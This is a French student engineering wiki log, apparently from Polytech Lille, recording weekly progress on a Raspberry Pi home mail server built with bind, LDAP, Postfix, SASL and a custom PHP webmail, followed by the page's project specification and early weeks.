nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
* Suppression d'un compte : fonctionnelle
* Création d'un compte : fonctionnelle
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK
* Création d'une fonction permettant de lister les groupes existants : OK
* Création d'une fonction permettant de créer/supprimer un groupe : OK

Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.

Côté serveur :
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans <code>master.cf</code> :
mailrte unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient
Pas de grande nouveauté ici. Dans le fichier <code>main.cf</code> :
virtual_transport = mailrte

Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.

===Semaine 20 (15/02/2016)===
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.

Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).

Corrections de bogues d'encodage des mails entre ISO et UTF8.

Travail sur la création d'un paquet Debian.

===Semaine 21 (22/02/2016)===

* Tournage de la vidéo du projet avec Laurent Engels du service Communication
* Fin de la rédaction du rapport final de PFE
* Rédaction du diaporama de présentation orale du PFE

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)

Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]

Code Perl du script pour Postfix : [http:/// Hold on a second]

Fichier de configuration (Postfix/Lighttpd...) fonctionnels : [http:/// I'm on it, hold on]

Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]

P9 Système d'hébergement domestique

2016-02-23T10:34:36Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

